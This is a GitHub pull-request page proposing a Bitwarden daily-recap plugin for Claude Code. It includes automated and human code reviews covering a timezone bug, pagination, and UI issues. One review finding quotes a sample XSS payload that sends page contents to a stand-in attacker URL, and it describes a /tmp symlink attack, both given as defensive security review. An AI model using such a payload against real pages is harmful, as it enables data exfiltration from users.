Skip to content

PoC: Add bitwarden-daily-recap plugin#107

Closed
SaintPatrck wants to merge 8 commits intomainfrom
plugins/daily-recap
Closed

PoC: Add bitwarden-daily-recap plugin#107
SaintPatrck wants to merge 8 commits intomainfrom
plugins/daily-recap

Conversation

@SaintPatrck
Copy link
Copy Markdown
Contributor

@SaintPatrck SaintPatrck commented May 1, 2026

🎟️ Tracking

No Jira ticket — internal/DevEx tooling addition. Plugin captures a personal "daily recap" workflow that proved useful in practice and is being proposed for marketplace distribution.

📔 Objective

Adds a new bitwarden-daily-recap plugin to the marketplace. Generates polished, interactive HTML recaps of a person's daily work — useful for standup, 1:1 prep, manager updates, or sharing with colleagues.

Initial release ships with one skill: engineering-recap. It combines Claude Code session activity with GitHub events (PRs, reviews, comments, pushes, branch ops, repo creates, cross-repo sweeps) into a self-contained HTML page with:

  • 5-stat strip (repos touched, sessions, PRs opened/approved, GH events)
  • Standup card with one-click Copy button (plain-text export for Slack)
  • Project workstreams grouped by theme — collapsible, filterable
  • Cross-referenced GitHub timeline (toggleable view) with a 🌙 After Midnight divider for late-night work
  • Theme block + open-threads summary

Design decisions worth highlighting:

  • Cross-plugin dependency. Session extraction is delegated to claude-retrospective:extracting-session-data rather than duplicating retrieval logic. Reviewers should ensure that's an acceptable cross-plugin coupling.
  • Day boundary is timezone-aware. Defaults to 7am in the user's local timezone (DST-safe). Cutoff hour and TZ are env-var configurable: DAILY_RECAP_CUTOFF_HOUR (default 7) and the standard TZ. Late-night work folds into the prior workday automatically.
  • Output uses ${CLAUDE_PLUGIN_DATA}. Recaps are written to ${CLAUDE_PLUGIN_DATA}/recaps/engineering-recap-{YYYY-MM-DD}.html (per the official plugins reference — persistent per-plugin storage that survives updates), not a hardcoded user path. The {recap-type}-recap- filename prefix leaves room for sibling skills (design-recap, management-recap, etc.) to share the same recaps/ directory.
  • Bitwarden brand styling. Template uses the official palette (brand guide) — Bitwarden Blue, Teal, Inter font, brand shield in the header.
  • Skill description is 959 chars (under the 1024 limit per Anthropic's Building Skills guide).
  • Naming. Plugin uses the bitwarden- prefix per the marketplace's Bitwarden-specific plugin convention. The skill is named engineering-recap (not daily-recap) to leave room for future recap types within the plugin without rename churn.

📸 Screenshots

A fully-hydrated example with fake data lives at plugins/bitwarden-daily-recap/examples/engineering-recap-sample.html (persona "Alex Carter", date 2026-05-04). Open it in a browser to see the rendered output across all five sections. Screenshots will be attached as PR comments.

Files

plugins/bitwarden-daily-recap/
├── .claude-plugin/plugin.json
├── CHANGELOG.md
├── README.md
├── examples/
│   └── engineering-recap-sample.html
└── skills/
    └── engineering-recap/
        ├── SKILL.md
        ├── assets/template.html
        ├── scripts/gather-gh-events.sh
        └── references/render-guide.md

Validation

  • ./scripts/validate-plugin-structure.sh plugins/bitwarden-daily-recap — passes
  • ./scripts/validate-marketplace.shbitwarden-daily-recap entry validates (1 pre-existing failure on unrelated unregistered plugins; not introduced by this PR)
  • Skill description under 1024 chars (959 chars)
  • No README inside skill folder (per building-skills guide, pg 10)
  • No XML brackets in description
  • CHANGELOG entry at 1.0.0
  • Listed in marketplace.json and root README catalog
  • All asset references use ${CLAUDE_PLUGIN_ROOT} / ${CLAUDE_PLUGIN_DATA} — no hardcoded paths

Generates polished, interactive HTML recaps of a person's daily work.
Initial release ships with the engineering-recap skill, which combines
Claude Code session activity with GitHub events into a standup-ready,
colleague-shareable artifact tuned to the Bitwarden brand palette
(Bitwarden Blue, Teal, Inter font, brand shield).

Session extraction is delegated to claude-retrospective:extracting-session-data
to avoid duplicating retrieval logic.
@SaintPatrck SaintPatrck added the ai-review-vnext Request a Claude code review using the vNext workflow label May 1, 2026
@github-actions
Copy link
Copy Markdown

github-actions Bot commented May 1, 2026

🤖 Bitwarden Claude Code Review

Overall Assessment: APPROVE

Re-reviewed the bitwarden-daily-recap plugin after the latest push (commit 5f7db1a). Verified the fix for the previously flagged local_to_utc correctness bug in gather-gh-events.sh: the helper now parses input without -u (so GNU date interprets it in local time) and only switches to -u when formatting the resulting epoch — matches the recommended pattern and restores the advertised timezone-aware day boundary. Spot-checked the rest of the plugin (manifest, README, CHANGELOG, SKILL.md, template HTML + JS, render-guide, gather script, hydrated example); no new issues found. Marketplace registration, version pinning, and ${CLAUDE_PLUGIN_ROOT} / ${CLAUDE_PLUGIN_DATA} usage all check out.

Code Review Details

No new findings. The previously-flagged ❌ CRITICAL on gather-gh-events.sh:30 (GNU date -u -d parsing input as UTC) is resolved in 5f7db1a — both branches now parse in local TZ and format as UTC.

@SaintPatrck SaintPatrck changed the title feat: Add daily-recap plugin feat: Add bitwarden-daily-recap plugin May 1, 2026
@SaintPatrck SaintPatrck marked this pull request as ready for review May 1, 2026 16:34
@SaintPatrck SaintPatrck requested a review from a team as a code owner May 1, 2026 16:34
# timestamp. Works with both BSD date (macOS) and GNU date (Linux).
local_to_utc() {
local local_dt="$1"
if date -u -d "$local_dt" "+%Y-%m-%dT%H:%M:%SZ" 2>/dev/null; then
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL: GNU date -u -d interprets the input string as UTC, not local time — silently breaks the timezone-aware day boundary on Linux

Details and fix

GNU date's -u flag overrides TZ for both input parsing and output, so passing -u -d "2026-05-01 07:00:00" parses the string as UTC even when TZ=America/Los_Angeles is set. Reproduction:

$ TZ=America/Los_Angeles date -d  "2026-05-01 07:00:00" "+%s"   # 1777644000  (07:00 PDT → 14:00 UTC)  correct
$ TZ=America/Los_Angeles date -u -d "2026-05-01 07:00:00" "+%s"  # 1777618800  (07:00 UTC)               wrong

Effect: on any Linux user not in UTC, START/END (lines 45–46) are off by the local UTC offset. For a PDT user the window becomes 07:00 UTC → 07:00 UTC (next day) instead of the intended 14:00 UTC → 14:00 UTC. Roughly 7 hours of legitimate events get filtered out and 7 hours from the prior day get included. This defeats the headline "day-boundary is timezone-aware / DST-safe" feature called out in both the PR description and the script header comment.

The BSD branch (lines 33–34) is correct because parsing happens without -u.

Suggested fix — parse without -u, format with -u:

local_to_utc() {
  local local_dt="$1"
  local epoch
  # GNU date: parse in local TZ to epoch, then format as UTC
  if epoch=$(date -d "$local_dt" "+%s" 2>/dev/null); then
    date -u -d "@$epoch" "+%Y-%m-%dT%H:%M:%SZ"
    return 0
  fi
  # BSD date fallback
  epoch=$(date -j -f "%Y-%m-%d %H:%M:%S" "$local_dt" "+%s" 2>/dev/null) || return 1
  date -u -r "$epoch" "+%Y-%m-%dT%H:%M:%SZ"
}

Worth covering with a quick test that asserts a non-UTC TZ produces a non-zero offset window.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in 5f7db1a

GNU `date -u -d` interprets the input string as UTC, silently breaking
the local-time intent on Linux for any non-UTC user. Parse without -u,
then switch to UTC when formatting the resulting epoch — mirrors the
BSD branch pattern.
Copy link
Copy Markdown
Contributor

@theMickster theMickster left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Couple comments for discussion and I have included a multi-agent review comment as well for inspection. I think it went a little heavy on the severity of the items, but worth double-checking nonetheless.

I do think that it's important to write up a Jira story under PM-33452 because this is a big, bold new plugin. I think it is very important that we visualize and organize all of the plugin work that we are doing because we are firing up the new AI engineering team.

echo "# Window: $START → $END (${CUTOFF_HOUR}am $TZ_LABEL boundary)" >&2

CACHE="/tmp/gh-events-raw-${DATE}.json"
gh api "users/${LOGIN}/events?per_page=100" > "$CACHE"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎨 GitHub events pagination is missing; there's a silent truncation risk.

Single page, no --paginate. A reviewer-heavy day (PR reviews + inline comments + pushes) easily exceeds 100 events, and the script will silently drop the rest before the time-window filter runs. The recap will look complete but be missing real activity — a high-trust failure mode for a "standup prep" tool.

@@ -0,0 +1,94 @@
---
name: engineering-recap
description: Generates the user's engineering daily recap as an interactive HTML deliverable combining Claude Code sessions with GitHub events. **YOUR FIRST ACTION** for any retrospective query about the user's own coding work MUST be to invoke this skill — do NOT gather context first or respond with an inline summary. Trigger phrases include time words ("yesterday", "this morning", "last night", "this week", "before lunch", any past date); activity questions ("what did I work on/ship/merge/push", "what was I doing"); single-word retrospectives ("recap", "summary", "standup", "1:1 prep"); deliverable verbs ("throw together", "pull together", "summarize", "analyze sessions"); audience cues ("show colleagues", "for my manager"); format mentions ("html page", "interactive recap"). The user expects the HTML artifact every time, not a chat summary. SKIP only for specific PR/commit/ticket lookups, someone else's activity, meeting recaps, or repo-level overviews.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🕺🏼 Dancing ever so close to that skill description limit I see...

${CLAUDE_PLUGIN_ROOT}/skills/engineering-recap/scripts/gather-gh-events.sh YYYY-MM-DD > /tmp/recap-events.json
```

**(b) Claude Code sessions** — delegate to the `claude-retrospective:extracting-session-data` skill (which handles the project-id path mangling, noise-directory exclusion, and content vs mtime quirks). Use its `filter-sessions.sh --since` and `extract-data.sh --type user-prompts --session ID` to pull the data; do not roll your own `find` / `jq` over the JSONL.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 The skill creator tool called out (and I agree with it) that there's a Hard cross-plugin dependency with no graceful degradation. We have the callout at the bottom of the skill that it's supposed to be there, but no direct instructions for Claude nor the end user.

I would prefer to see a Prerequisites pattern emerge here (and in our other plugins). I chose the following for the multi-agent code review skill that I raised in PR #96 .

Details ``` ## Prerequisites

This skill depends on the following sibling plugins. If any are not installed, abort the review with a clear error message identifying the missing plugin — do not attempt to proceed with a degraded pipeline.

  • bitwarden-tech-lead — provides the architecture review subagent.
  • bitwarden-security-engineer — provides security context and analysis skills.
    Before Step 1, verify each prerequisite is resolvable. If a prerequisite is missing, print:

Prerequisite plugin <name> is not installed. Install it and retry. Review aborted.

…and stop.

</details>

---
name: engineering-recap
description: Generates the user's engineering daily recap as an interactive HTML deliverable combining Claude Code sessions with GitHub events. **YOUR FIRST ACTION** for any retrospective query about the user's own coding work MUST be to invoke this skill — do NOT gather context first or respond with an inline summary. Trigger phrases include time words ("yesterday", "this morning", "last night", "this week", "before lunch", any past date); activity questions ("what did I work on/ship/merge/push", "what was I doing"); single-word retrospectives ("recap", "summary", "standup", "1:1 prep"); deliverable verbs ("throw together", "pull together", "summarize", "analyze sessions"); audience cues ("show colleagues", "for my manager"); format mentions ("html page", "interactive recap"). The user expects the HTML artifact every time, not a chat summary. SKIP only for specific PR/commit/ticket lookups, someone else's activity, meeting recaps, or repo-level overviews.
---
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤔 I noticed that there's not an allowed-tools metadata property in the frontmatter and I don't see a note in the description. Not questioning the decision, only curious as to your line of thinking leaving it out.

└── references/render-guide.md — Placeholder map + HTML recipes
```

## Example
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 I am cool with an example file being added with the skill, but I think that it's very important to include clear instructions about when and how the next engineer should maintain it. Keeping that information here in the README.md feels like the correct place to me. I think it's also worth pairing it's maintenance with the template file to keep them both in alignment.

@theMickster
Copy link
Copy Markdown
Contributor

👋🏼 Hi @SaintPatrck
The multi-agent code review that I have been working on in #96 produced the following findings. As mentioned in my code review, Claude might have been a bit heavy handed on the severity. But worth 👀 👀 on them.

Code Review: feat: Add bitwarden-daily-recap plugin (#107)

Date: 2026-05-04 | Reviewed by: Claude Code

Summary

Severity Count
🛑 Blocker 0
⚠️ Important 4
♻️ Refactor 2

The PR adds a well-organized new plugin with thoughtful structure, brand styling, and a documented cross-plugin dependency on claude-retrospective:extracting-session-data. The overall shape is sound and the plugin/marketplace/changelog version triple is consistent. However, the rendering pipeline does not specify HTML-escaping of GitHub-sourced strings before they land in the recap page — this is the most consequential item to address. Three other UX-affecting bugs (single-page event fetch, no-op toolbar in timeline view, silent clipboard-failure) are likely to be hit in practice. Two refactor-level items (env-var input validation and cache placement) round out the findings.

Findings

⚠️ Important

HTML injection: GitHub-sourced strings injected without escaping guidance

plugins/bitwarden-daily-recap/skills/engineering-recap/references/render-guide.md:75
Caught by: Security & logic agent

Details

The render-guide and SKILL.md instruct Claude to populate {{TIMELINE_EVENTS}}, {{PROJECT_SECTIONS}}, {{TODAY_BANNER}}, and stream bullets with values that come straight from the GitHub events feed produced by gather-gh-events.shpr_title, comment_body, commit_msgs[], repo, ref (branch name), pr_author. On any cross-repo PR, those fields are attacker-controlled by external collaborators.

The timeline-event template

<div class="tl-event-body"><span class="repo">{repo}</span> · {body}</div>
<div class="tl-quote">{body excerpt}</div>

(render-guide lines 75 and 79) and the stream-bullet shape on line 44 are written as raw HTML insertions with no escaping requirement called out anywhere in this file or in SKILL.md. A PR title or review-comment body containing

<script>fetch('https://attacker/x?'+document.documentElement.outerHTML)</script>

will execute when the user runs open ${CLAUDE_PLUGIN_DATA}/recaps/engineering-recap-…html. Modern browsers restrict the file:// origin (no cross-file:// fetches in Chromium by default), but JS can still exfiltrate page contents to remote attacker servers via fetch/Image/sendBeacon, leaking private repo names, PR titles, internal review excerpts, and other engineering context.

Bitwarden context: P05 (controlled access to vault data) and the Trusted Channel concept — the recap is no longer a trusted output channel. No Vault Data, Encryption Keys, or Authentication Tokens are exposed, so this falls below the Blocker bar, but the exfiltration vector is real.

Required fix: mandate HTML-escaping of every GitHub-sourced field in render-guide.md (& < > " ' at minimum), with a worked example. Preferably also pre-escape in gather-gh-events.sh so escaping is enforced at the data boundary rather than relying on LLM-driven templating to do it consistently.

GitHub events feed is fetched single-page (max 100), silently truncating busy days

plugins/bitwarden-daily-recap/skills/engineering-recap/scripts/gather-gh-events.sh:58
Caught by: Code quality agent

Details

The script calls gh api "users/${LOGIN}/events?per_page=100" once and writes the result straight to the cache. The user-events endpoint is paginated; on a busy day (cross-repo review sweep, many comments, push spam) — or when generating a recap for a past day where the 100 newest events all fall after the window's END — events inside the workday window are silently dropped. The downstream jq filter narrows on created_at but cannot recover events the API never returned.

SKILL.md advertises "Capture all GitHub event types" — silent truncation defeats that contract. Either paginate (gh api --paginate) until the oldest record falls before $START, or at minimum warn on stderr when the response hits the 100-event ceiling so the user knows the recap is incomplete.

Toolbar search and filter chips do nothing in Timeline view

plugins/bitwarden-daily-recap/skills/engineering-recap/assets/template.html:1102-1133
Caught by: Code quality agent

Details

The toolbar (project chips, status chips, and the <input type="search"> placeholder "Filter by file, PR, commit, keyword…") is sticky and remains visible in both views, but applyFilters() only iterates .project and .stream nodes. None of the chip handlers nor the search-input handler touch any .tl-event. When a user switches to 🕒 GH Timeline and types into the search box or clicks a project/status chip, the UI gives every signal of filtering (chip becomes .active, query is captured) yet no timeline events change.

This is a diff-visible cross-site inconsistency: the same toolbar advertises filtering for content it does not actually filter. Either scope the toolbar to project view only (hide it when timeline is active), or extend applyFilters to operate on .tl-event (project chip → .tl-event data-project, search → text match against the event body).

Clipboard write has no rejection handler — Copy button silently fails on rejection

plugins/bitwarden-daily-recap/skills/engineering-recap/assets/template.html:1191
Caught by: Bug analysis agent

Details

navigator.clipboard.writeText(text).then(...) provides no .catch branch. The Clipboard API rejects when:

  • the page is served from file:// (non-secure context — exactly how this recap is opened),
  • the document is not focused, or
  • permission is denied.

On rejection the user clicks Copy and gets no UI change, no fallback, no error indication. This contradicts the standup-card UX promise.

Add a .catch that surfaces a visible failure state (e.g., toggle the button to a Copy failed label) or fall back to a document.execCommand('copy') path so the feature degrades gracefully when clipboard access is unavailable.

♻️ Refactor

Predictable /tmp cache exposes GitHub activity and enables symlink pre-attack

plugins/bitwarden-daily-recap/skills/engineering-recap/scripts/gather-gh-events.sh:57
Caught by: Security & logic agent

Details
CACHE="/tmp/gh-events-raw-${DATE}.json"
gh api "users/${LOGIN}/events?per_page=100" > "$CACHE"

Two hardening gaps:

  1. Data Leaking. On multi-user systems any local user can read this cache (private-repo names, PR titles, review-comment bodies, branch names, commit messages); nothing cleans it up across runs.
  2. Symlink pre-attack. An attacker who can pre-create /tmp/gh-events-raw-YYYY-MM-DD.json as a symlink to a file the running user can write — ~/.ssh/authorized_keys, a shell rc file — gets the > redirect to truncate-and-overwrite that target with gh output.

Likelihood is low on a single-user dev machine, hence Refactor rather than Important. Use a per-user directory (${XDG_CACHE_HOME:-$HOME/.cache}/bitwarden-daily-recap/ or ${CLAUDE_PLUGIN_DATA}/cache/) and mktemp(1) for transient files.

Bitwarden context: P05 (controlled access) and the Data Leaking term in Core Vocabulary.

DAILY_RECAP_CUTOFF_HOUR is not validated — non-numeric or out-of-range values produce confusing failures

plugins/bitwarden-daily-recap/skills/engineering-recap/scripts/gather-gh-events.sh:21
Caught by: Bug analysis agent

Details

CUTOFF_HOUR="${DAILY_RECAP_CUTOFF_HOUR:-7}" is fed directly into printf '%02d' "$CUTOFF_HOUR" further down. If a user sets the env var to a non-numeric value (e.g., 7am, foo), printf %02d exits non-zero and set -e aborts the script with a cryptic printf: …: invalid number and no other context — the user cannot tell whether the script crashed, the GitHub call failed, or jq blew up. If the value is >=24 or negative, printf succeeds but local_to_utc is then asked to parse "YYYY-MM-DD 24:00:00" (BSD date rejects this; GNU date treats it as next-day 00:00, silently shifting the entire window).

Validate the env var early — e.g., [[ "$CUTOFF_HOUR" =~ ^[0-9]+$ ]] && (( CUTOFF_HOUR >= 0 && CUTOFF_HOUR <= 23 )) — and emit a clear error message before any date math runs.

The default is sensible and the variable is operator-controlled (not external input), so this sits at Refactor — genuine input-validation tech debt rather than a likely-in-practice failure.

Reviewed and Dismissed

🔍 2 initial findings dismissed after validation

New plugin appended out of order in alphabetized README catalog

README.md:20
Caught by: Architecture agent
Original severity: ♻️ Refactor
Original confidence: 90/100
Dismissed at: Step 5 severity audit
Dismissed because: The README catalog already has one pre-existing out-of-order row (bitwarden-tech-lead pinned at top), so the table is not strictly alphabetical. Adding one more out-of-order row does not create technical debt that will cost more to maintain — it's a one-line reorder, fits "Do Not Flag: nit-picks / code style absent project rule."

GitHub events fetched with single page (per_page=100) — older events silently truncated

plugins/bitwarden-daily-recap/skills/engineering-recap/scripts/gather-gh-events.sh:58
Caught by: Bug analysis agent
Original severity: ⚠️ Important
Original confidence: 82/100
Dismissed at: Step 4 validation
Dismissed because: Duplicate of quality-1 — same root cause, same file/line, same fix. Consolidated to the code-quality-agent finding.

@SaintPatrck SaintPatrck changed the title feat: Add bitwarden-daily-recap plugin PoC: Add bitwarden-daily-recap plugin May 5, 2026
@SaintPatrck SaintPatrck closed this May 5, 2026
@SaintPatrck SaintPatrck deleted the plugins/daily-recap branch May 5, 2026 12:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ai-review-vnext Request a Claude code review using the vNext workflow

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants